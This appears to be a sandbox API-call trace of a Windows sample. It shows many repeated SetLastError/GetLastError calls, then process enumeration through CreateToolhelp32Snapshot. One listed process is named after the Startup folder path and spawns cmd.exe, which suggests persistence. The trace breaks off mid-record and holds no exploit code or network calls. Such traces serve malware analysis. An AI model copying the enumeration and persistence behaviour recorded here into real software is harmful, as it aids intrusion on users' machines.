SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.730] SetLastError (dwErrCode=0x57) [0046.730] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.731] SetLastError (dwErrCode=0x57) [0046.731] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.732] SetLastError (dwErrCode=0x57) [0046.732] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.733] SetLastError (dwErrCode=0x57) [0046.733] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.734] GetLastError () returned 0x57 [0046.734] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.735] GetLastError () returned 0x57 [0046.735] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.736] GetLastError () returned 0x57 [0046.736] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.737] SetLastError (dwErrCode=0x57) [0046.737] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.738] SetLastError (dwErrCode=0x57) [0046.738] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.739] SetLastError (dwErrCode=0x57) [0046.739] GetLastError () returned 0x57 [0046.740] SetLastError (dwErrCode=0x57) [0046.740] GetLastError () returned 0x57 [0046.740] SetLastError (dwErrCode=0x57) [0046.740] GetLastError () returned 0x57 [0046.740] SetLastError (dwErrCode=0x57) [0046.740] GetLastError () returned 0x57 [0046.740] SetLastError (dwErrCode=0x57) [0046.740] GetLastError () returned 0x57 [0046.740] SetLastError (dwErrCode=0x57) [0046.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c [0046.746] Process32FirstW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.747] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.747] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.748] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.749] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.750] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.750] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.751] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.752] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.752] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.753] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.754] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.754] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.755] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.755] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.756] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.757] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.757] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.758] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.759] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.759] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.760] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.761] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.761] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.762] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.762] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0046.763] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0046.846] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0046.847] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0046.848] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0046.849] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0046.849] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0046.850] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0046.851] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0046.852] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0046.853] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0046.854] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0046.855] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0046.856] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0046.857] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0046.858] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0046.859] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0046.860] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0046.861] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0046.862] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0046.863] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0046.863] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0046.864] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0046.865] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.866] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0046.867] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0046.868] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.869] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.870] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.871] Process32NextW (in: hSnapshot=0x11c, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, 